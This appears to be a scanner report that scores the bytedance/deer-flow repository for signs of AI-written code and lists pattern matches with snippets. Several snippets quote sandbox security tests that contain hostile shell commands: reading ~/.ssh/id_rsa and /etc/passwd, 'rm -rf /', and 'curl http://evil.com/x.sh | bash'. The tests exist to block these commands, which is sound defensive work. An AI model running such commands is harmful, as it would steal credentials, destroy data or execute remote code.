bytedance/deer-flow

38.6

Adjusted Score

38.6

Raw Score

100%

Time Factor

2026-07-14

Last Push

77.0K

Stars

Python

Language

407.4K

Lines of Code

1.6K

Files

11.5K

Pattern Hits

2026-07-14

Scan Date

0.07

HC Hit Rate

What These Metrics Mean

Adjusted Score: Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score: The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor: The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits: Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate: High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files: Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 1HIGH 106MEDIUM 1770LOW 9582

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 11459 distinct pattern matches across 25 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers7268 hits · 6724 pts

Severity	File	Line	Snippet	Context
LOW	…tests/unit/core/voice-input/speech-recognition.test.ts	98	function makeSpeechRecognitionConstructor(): SpeechRecognitionConstructor {	CODE
LOW	frontend/tests/unit/hooks/use-global-shortcuts.test.ts	5	async function loadHookWithCapturedHandler() {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	71	async function clickSelectionToolbarButton(page: Page, label: string) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	89	async function selectTextAndClickToolbarButton(	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	108	async function expectSidecarSelectionToolbarActions(page: Page, text: string) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	134	async function expectComposerHeightsEqual(page: Page) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	163	async function expectSidecarModelPinnedToSubmit(page: Page) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	239	async function expectSidecarModelHiddenWhenCompact(page: Page) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	289	async function expectSidecarScrollDoesNotAnimateAfterOpen(page: Page) {	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	325	async function openSidecarAndExpectNoAnimatedScroll(page: Page) {	CODE
LOW	frontend/src/core/clipboard.ts	76	async function readPlainTextFromClipboardItem(	CODE
LOW	frontend/src/core/clipboard.ts	103	function canDefineNavigatorClipboard(	CODE
LOW	frontend/src/core/workspace-changes/summary.ts	14	export function getWorkspaceChangeBadgeLabel(summary: WorkspaceChangeSummary) {	CODE
LOW	frontend/src/core/workspace-changes/summary.ts	19	export function getWorkspaceChangeLineClass(	CODE
LOW	frontend/src/core/settings/store.ts	41	function ensureStorageListenerRegistered() {	CODE
LOW	frontend/src/core/artifacts/loader.ts	27	export function loadArtifactContentFromToolCall({	CODE
LOW	frontend/src/core/artifacts/utils.ts	27	export function extractArtifactsFromThread(thread: {	CODE
LOW	frontend/src/core/artifacts/preview.ts	81	export function buildWriteFileDraftContent({	CODE
LOW	frontend/src/core/artifacts/preview.ts	167	export function appendHtmlPreviewBaseHref(	CODE
LOW	frontend/src/core/artifacts/preview.ts	199	export function createHtmlPreviewScrollKey(value: string) {	CODE
LOW	frontend/src/core/artifacts/preview.ts	215	function htmlScrollRestorationScript(messageKey: string) {	CODE
LOW	frontend/src/core/artifacts/preview.ts	258	export function appendHtmlPreviewScrollRestoration(	CODE
LOW	frontend/src/core/tasks/subtask-result.ts	198	export function derivePendingSubtaskStatus(	CODE
LOW	frontend/src/core/tasks/subtask-result.ts	232	function hasStructuredSubagentMetadata(	CODE
LOW	frontend/src/core/tasks/subtask-result.ts	241	function readStructuredResultBrief(	CODE
LOW	frontend/src/core/messages/usage-model.ts	88	export function tokenUsagePreferencesFromPreset(	CODE
LOW	frontend/src/core/messages/usage-model.ts	212	function buildActionLabelsFromAttribution(	CODE
LOW	frontend/src/core/messages/usage-model.ts	221	function describeAttributionAction(	CODE
LOW	frontend/src/core/messages/usage-model.ts	307	function normalizeTokenUsageAttribution(	CODE
LOW	frontend/src/core/messages/usage-model.ts	345	function normalizeTokenUsageAttributionAction(	CODE
LOW	frontend/src/core/messages/usage-model.ts	430	function isTokenUsageAttributionKind(	CODE
LOW	frontend/src/core/messages/human-input.ts	52	export function shouldClearPendingHumanInputOnThreadError({	CODE
LOW	frontend/src/core/messages/human-input.ts	233	export function extractHumanInputResponse(	CODE
LOW	frontend/src/core/messages/human-input.ts	246	export function deriveHumanInputThreadState(	CODE
LOW	frontend/src/core/messages/human-input.ts	292	export function createHumanInputOptionResponse(	CODE
LOW	frontend/src/core/messages/human-input.ts	307	export function createHumanInputTextResponse(	CODE
LOW	frontend/src/core/messages/human-input.ts	321	export function buildHumanInputResponseText(	CODE
LOW	frontend/src/core/messages/utils.ts	157	export function getBranchableAssistantGroupIds(	CODE
LOW	frontend/src/core/messages/utils.ts	203	export function getAssistantTurnUsageMessages(groups: MessageGroup[]) {	CODE
LOW	frontend/src/core/messages/utils.ts	247	export function getStreamingMessageLookup(	CODE
LOW	frontend/src/core/messages/utils.ts	279	export function isAssistantMessageGroupStreaming(	CODE
LOW	frontend/src/core/messages/utils.ts	390	function splitInlineReasoningFromAIMessage(message: Message) {	CODE
LOW	frontend/src/core/messages/utils.ts	397	export function extractContentFromMessage(message: Message) {	CODE
LOW	frontend/src/core/messages/utils.ts	426	export function extractReasoningContentFromMessage(message: Message) {	CODE
LOW	frontend/src/core/messages/utils.ts	448	export function removeReasoningContentFromMessage(message: Message) {	CODE
LOW	frontend/src/core/messages/utils.ts	455	export function extractURLFromImageURLContent(	CODE
LOW	frontend/src/core/messages/utils.ts	514	export function isClarificationToolMessage(message: Message) {	CODE
LOW	frontend/src/core/messages/utils.ts	518	export function extractPresentFilesFromMessage(message: Message) {	CODE
LOW	frontend/src/core/scheduled-tasks/api.ts	22	export async function fetchThreadScheduledTasks(	CODE
LOW	frontend/src/core/auth/auth-disabled-user.ts	13	function isExplicitProductionEnvironment() {	CODE
LOW	frontend/src/core/auth/setup.ts	28	export function isSystemAlreadyInitializedError(data: unknown): boolean {	CODE
LOW	frontend/src/core/agents/feature-cache.ts	16	export function readCachedAgentsApiEnabled(): boolean \| undefined {	CODE
LOW	frontend/src/core/agents/feature-cache.ts	28	export function writeCachedAgentsApiEnabled(value: boolean): void {	CODE
LOW	frontend/src/core/agents/api.ts	34	function isAgentsApiDisabledDetail(detail: string \| undefined): boolean {	CODE
LOW	frontend/src/core/uploads/file-validation.ts	18	export function splitUnsupportedUploadFiles(fileList: File[] \| FileList) {	CODE
LOW	frontend/src/core/uploads/prompt-input-files.ts	8	export async function promptInputFilePartToFile(	CODE
LOW	frontend/src/core/utils/files.tsx	200	export function getFileExtensionDisplayName(filepath: string) {	CODE
LOW	frontend/src/core/blog/index.ts	119	function collectLocalizedBlogPosts(	CODE
LOW⚡	frontend/src/core/threads/thread-search-query.ts	31	export function shouldIncludeSidecarThreads(params: ThreadSearchFilterParams) {	CODE
LOW⚡	frontend/src/core/threads/thread-search-query.ts	41	export function filterThreadSearchResults(	CODE
7208 more matches not shown…

Decorative Section Separators1596 hits · 5719 pts

Severity	File	Line	Snippet	Context
MEDIUM⚡	config.example.yaml	13	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	15	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	20	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	22	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	33	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	35	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	41	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	43	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	50	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	52	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	65	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	67	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	77	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	79	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	624	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	626	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	635	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	637	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	932	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	934	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	960	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	962	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	970	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	972	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1032	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1034	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1043	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1045	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1359	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1361	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1375	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1377	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1386	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1388	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1533	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1535	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1541	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1543	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1549	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1551	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1881	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1883	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1916	# ============================================================================	COMMENT
MEDIUM⚡	config.example.yaml	1918	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	916	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	918	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	984	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	986	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1007	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1009	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1078	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1080	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1230	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1232	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1307	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1309	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1335	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1337	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1448	# ============================================================================	COMMENT
MEDIUM	config.example.yaml	1450	# ============================================================================	COMMENT
1536 more matches not shown…

Unused Imports770 hits · 727 pts

Severity	File	Line	Context
LOW	docker/provisioner/app.py	30	CODE
LOW	backend/sitecustomize.py	8	CODE
LOW	backend/app/scheduler/service.py	1	CODE
LOW	backend/app/scheduler/__init__.py	1	CODE
LOW	backend/app/gateway/deps.py	18	CODE
LOW	backend/app/gateway/services.py	8	CODE
LOW	backend/app/gateway/__init__.py	1	CODE
LOW	backend/app/gateway/__init__.py	1	CODE
LOW	backend/app/gateway/auth_disabled.py	3	CODE
LOW	backend/app/gateway/internal_auth.py	3	CODE
LOW	backend/app/gateway/pagination.py	3	CODE
LOW	backend/app/gateway/authz.py	30	CODE
LOW	backend/app/gateway/trace_middleware.py	3	CODE
LOW	backend/app/gateway/routers/thread_runs.py	12	CODE
LOW	backend/app/gateway/routers/scheduled_tasks.py	1	CODE
LOW	backend/app/gateway/routers/feedback.py	7	CODE
LOW	backend/app/gateway/routers/channel_connections.py	3	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/__init__.py	1	CODE
LOW	backend/app/gateway/routers/assistants_compat.py	10	CODE
LOW	backend/app/gateway/routers/threads.py	13	CODE
LOW	backend/app/gateway/routers/channels.py	3	CODE
LOW	backend/app/gateway/routers/github_webhooks.py	26	CODE
LOW	backend/app/gateway/routers/runs.py	8	CODE
LOW	backend/app/gateway/auth/oidc.py	7	CODE
LOW	backend/app/gateway/auth/oidc_state.py	8	CODE
LOW	backend/app/gateway/auth/__init__.py	9	CODE
LOW	backend/app/gateway/auth/__init__.py	9	CODE
LOW	backend/app/gateway/auth/__init__.py	9	CODE
LOW	backend/app/gateway/auth/__init__.py	10	CODE
LOW	backend/app/gateway/auth/__init__.py	10	CODE
LOW	backend/app/gateway/auth/__init__.py	10	CODE
LOW	backend/app/gateway/auth/__init__.py	11	CODE
LOW	backend/app/gateway/auth/__init__.py	11	CODE
LOW	backend/app/gateway/auth/__init__.py	11	CODE
LOW	backend/app/gateway/auth/__init__.py	12	CODE
LOW	backend/app/gateway/auth/__init__.py	13	CODE
LOW	backend/app/gateway/auth/__init__.py	13	CODE
LOW	backend/app/gateway/auth/__init__.py	14	CODE
LOW	backend/app/gateway/auth/__init__.py	14	CODE
LOW	backend/app/gateway/auth/__init__.py	15	CODE
LOW	backend/app/gateway/auth/__init__.py	16	CODE
LOW	backend/app/gateway/auth/providers.py	24	CODE
LOW	backend/app/gateway/auth/credential_file.py	11	CODE
LOW	backend/app/gateway/auth/reset_admin.py	12	CODE
LOW	backend/app/gateway/auth/user_provisioning.py	9	CODE
LOW	backend/app/gateway/auth/repositories/sqlite.py	13	CODE
LOW	backend/app/gateway/github/dispatcher.py	24	CODE
LOW	backend/app/gateway/github/triggers.py	29	CODE
LOW	backend/app/gateway/github/registry.py	26	CODE
LOW	backend/app/gateway/github/app_auth.py	21	CODE
710 more matches not shown…

Excessive Try-Catch Wrapping623 hits · 610 pts

Severity	File	Line	Snippet	Context
LOW	docker/provisioner/app.py	131	except Exception as exc:	CODE
LOW	docker/provisioner/app.py	137	except Exception as exc:	CODE
LOW	backend/debug.py	89	except Exception as e:	CODE
LOW	backend/debug.py	160	except Exception as e:	CODE
LOW	backend/app/scheduler/service.py	176	except Exception as exc:	CODE
LOW	backend/app/scheduler/service.py	311	except Exception:	CODE
LOW	backend/app/scheduler/service.py	320	except Exception:	CODE
LOW	backend/app/scheduler/service.py	336	except Exception:	CODE
LOW⚡	backend/app/gateway/deps.py	107	except Exception:	CODE
LOW⚡	backend/app/gateway/deps.py	110	except Exception:	CODE
LOW	backend/app/gateway/deps.py	128	except Exception:	CODE
LOW	backend/app/gateway/deps.py	132	except Exception:	CODE
LOW	backend/app/gateway/deps.py	148	except Exception:	CODE
LOW	backend/app/gateway/deps.py	175	except Exception:	CODE
LOW	backend/app/gateway/deps.py	182	except Exception:	CODE
LOW	backend/app/gateway/deps.py	217	except Exception as exc: # noqa: BLE001 - request boundary: log and degrade gracefully	CODE
LOW⚡	backend/app/gateway/services.py	95	except Exception:	CODE
LOW⚡	backend/app/gateway/services.py	291	except Exception:	CODE
LOW	backend/app/gateway/services.py	372	except Exception:	CODE
LOW	backend/app/gateway/services.py	546	except Exception as exc:	CODE
LOW	backend/app/gateway/services.py	673	except Exception:	CODE
LOW	backend/app/gateway/app.py	129	except Exception:	CODE
LOW	backend/app/gateway/app.py	186	except Exception as e:	CODE
LOW	backend/app/gateway/app.py	200	except Exception: # observability must never break startup	CODE
LOW	backend/app/gateway/app.py	225	except Exception:	CODE
LOW	backend/app/gateway/app.py	232	except Exception:	CODE
LOW	backend/app/gateway/app.py	249	except Exception:	CODE
LOW	backend/app/gateway/app.py	268	except Exception:	CODE
LOW	backend/app/gateway/app.py	275	except Exception:	CODE
LOW	backend/app/gateway/app.py	291	except Exception:	CODE
LOW	backend/app/gateway/app.py	297	except Exception:	CODE
LOW	backend/app/gateway/routers/console.py	165	except Exception: # pragma: no cover - defensive: cost display must not break the console	CODE
LOW	backend/app/gateway/routers/console.py	317	except Exception: # pragma: no cover - defensive: stats must not 500 on a bad agents dir	CODE
LOW	backend/app/gateway/routers/suggestions.py	51	except Exception:	CODE
LOW	backend/app/gateway/routers/suggestions.py	139	except Exception as exc:	CODE
LOW	backend/app/gateway/routers/skills.py	145	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	182	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	199	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	221	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	260	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	289	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	305	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	354	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	377	except Exception as e:	CODE
LOW	backend/app/gateway/routers/skills.py	470	except Exception as e:	CODE
LOW⚡	backend/app/gateway/routers/thread_runs.py	52	except Exception:	CODE
LOW	backend/app/gateway/routers/thread_runs.py	383	except Exception as exc:	CODE
LOW	backend/app/gateway/routers/thread_runs.py	419	except Exception as exc:	CODE
LOW	backend/app/gateway/routers/thread_runs.py	533	except Exception:	CODE
LOW⚡	backend/app/gateway/routers/channel_connections.py	239	except Exception:	CODE
LOW⚡	backend/app/gateway/routers/channel_connections.py	248	except Exception:	CODE
LOW⚡	backend/app/gateway/routers/channel_connections.py	481	except Exception:	CODE
LOW⚡	backend/app/gateway/routers/channel_connections.py	494	except Exception:	CODE
LOW	backend/app/gateway/routers/channel_connections.py	270	except Exception:	CODE
LOW	backend/app/gateway/routers/channel_connections.py	284	except Exception:	CODE
LOW	backend/app/gateway/routers/agents.py	125	except Exception as e:	CODE
LOW	backend/app/gateway/routers/agents.py	187	except Exception as e:	CODE
LOW	backend/app/gateway/routers/agents.py	255	except Exception:	CODE
LOW	backend/app/gateway/routers/agents.py	263	except Exception as e:	CODE
LOW	backend/app/gateway/routers/agents.py	365	except Exception as e:	CODE
563 more matches not shown…

Modern Structural Boilerplate288 hits · 300 pts

Severity	File	Line	Snippet	Context
LOW	docker/provisioner/app.py	49	logger = logging.getLogger(__name__)	CODE
LOW	backend/debug.py	37	def _setup_logging(log_level: int = logging.INFO) -> None:	CODE
LOW	backend/app/scheduler/service.py	15	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/scheduler/__init__.py	3	__all__ = ["ScheduledTaskService"]	CODE
LOW	backend/app/gateway/deps.py	36	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/gateway/services.py	51	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/__init__.py	3	__all__ = ["app", "create_app", "GatewayConfig", "get_gateway_config"]	CODE
LOW⚡	backend/app/gateway/auth_disabled.py	22	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/app.py	53	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/trace_middleware.py	14	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/auth.py	39	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/auth.py	152	def _set_session_cookie(response: Response, token: str, request: Request) -> None:	CODE
LOW	backend/app/gateway/routers/auth.py	552	def _set_csrf_cookie(response: Response, request: Request) -> None:	CODE
LOW⚡	backend/app/gateway/routers/console.py	31	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/suggestions.py	13	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/skills.py	28	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/thread_runs.py	33	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/gateway/routers/feedback.py	18	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/channel_connections.py	25	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/__init__.py	15	__all__ = [	CODE
LOW	backend/app/gateway/routers/agents.py	17	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/assistants_compat.py	19	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/threads.py	51	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/mcp.py	15	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/channels.py	12	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/artifacts.py	16	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/uploads.py	39	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/github_webhooks.py	39	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/runs.py	23	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/routers/input_polish.py	12	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/local_provider.py	10	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/oidc.py	20	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/config.py	9	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/auth/config.py	82	def set_auth_config(config: AuthConfig) -> None:	CODE
LOW	backend/app/gateway/auth/oidc_state.py	90	def set_state_cookie(response: Response, request: Request, payload: OIDCStatePayload) -> None:	CODE
LOW	backend/app/gateway/auth/__init__.py	18	__all__ = [	CODE
LOW	backend/app/gateway/auth/user_provisioning.py	19	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/github/dispatcher.py	37	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/github/registry.py	42	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/github/app_auth.py	33	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/gateway/github/run_policy.py	22	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/store.py	13	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/service.py	16	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/channels/message_bus.py	14	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/dingtalk.py	21	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/telegram.py	15	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/discord.py	18	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/__init__.py	11	__all__ = [	CODE
LOW	backend/app/channels/wechat.py	30	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/wechat.py	838	def _update_longpoll_timeout(self, data: Mapping[str, Any]) -> None:	CODE
LOW	backend/app/channels/feishu.py	29	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/feishu.py	519	async def _update_card(self, message_id: str, text: str) -> None:	CODE
LOW	backend/app/channels/github.py	39	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/manager.py	47	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/manager.py	1472	async def _update_thread_channel_metadata(self, client, msg: InboundMessage, thread_id: str) -> None:	CODE
LOW	backend/app/channels/base.py	15	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/channels/runtime_config_store.py	12	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/channels/runtime_config_store.py	79	def set_provider_config(self, provider: str, config: dict[str, Any]) -> None:	CODE
LOW⚡	backend/app/channels/runtime_config_store.py	84	def set_provider_disconnected(self, provider: str) -> None:	CODE
LOW	backend/app/channels/slack.py	16	logger = logging.getLogger(__name__)	CODE
228 more matches not shown…

Cross-Language Confusion46 hits · 271 pts

Severity	File	Line	Snippet	Context
HIGH	backend/debug.py	10	cd backend && PYTHONPATH=. uv run python debug.py	STRING
HIGH⚡	backend/tests/test_sandbox_tools_security.py	489	("ls /mnt/user-data && pwd", "ls /tmp/deer-flow/threads/t1/user-data && pwd"),	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	512	"cd /mnt/user-data/workspace && git clone https://github.com/CherryHQ/cherry-studio.git",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	527	"/bin/echo ok > /mnt/user-data/workspace/out.txt && cat /dev/null",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	577	validate_local_bash_command_paths("cd $HOME && cat .ssh/id_rsa", _THREAD_DATA)	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	582	validate_local_bash_command_paths("echo ok\ncd $HOME && cat .ssh/id_rsa", _THREAD_DATA)	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	589	"builtin cd $HOME && cat .ssh/id_rsa",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	592	'echo "$(cd $HOME && cat .ssh/id_rsa)"',	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	604	"ln -s / root && cat root/etc/passwd",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	626	"mkdir -p reports && python script.py data/input.csv > reports/out.txt",	CODE
HIGH⚡	backend/tests/test_sandbox_tools_security.py	633	"cd /mnt/user-data/workspace && cat data/input.csv > reports/out.txt",	CODE
HIGH⚡	backend/tests/test_tool_result_meta.py	343	content = '{"error": null, "query": "test"}'	CODE
HIGH⚡	backend/tests/test_doctor.py	4	cd backend && uv run pytest tests/test_doctor.py -v	STRING
HIGH	backend/tests/test_memory_consolidation.py	868	# cap = max(coerce(null)=0.5, coerce(0.9)=0.9) = 0.9; LLM conf 1.0 capped → 0.9	COMMENT
HIGH	backend/tests/test_setup_wizard.py	4	cd backend && uv run pytest tests/test_setup_wizard.py -v	STRING
HIGH	backend/tests/test_local_sandbox_command_timeout.py	119	"""stdin is redirected from /dev/null, so a command that reads stdin gets	STRING
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	200	("cd /workspace && rm -rf /", "block"),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	202	("ls -la \|\| curl http://evil.com/x.sh \| bash", "block"),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	204	("cd /workspace && pip install requests", "warn"),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	207	("cd /workspace && ls -la && python3 main.py", "pass"),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	227	assert _split_compound_command("cmd1 && cmd2") == ["cmd1", "cmd2"]	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	233	assert _split_compound_command("cmd1 \|\| cmd2") == ["cmd1", "cmd2"]	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	245	result = _split_compound_command("a && b \|\| c ; d")	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	245	result = _split_compound_command("a && b \|\| c ; d")	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	254	result = _split_compound_command("echo 'a && b' && rm -rf /")	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	256	assert "a && b" in result[0]	CODE
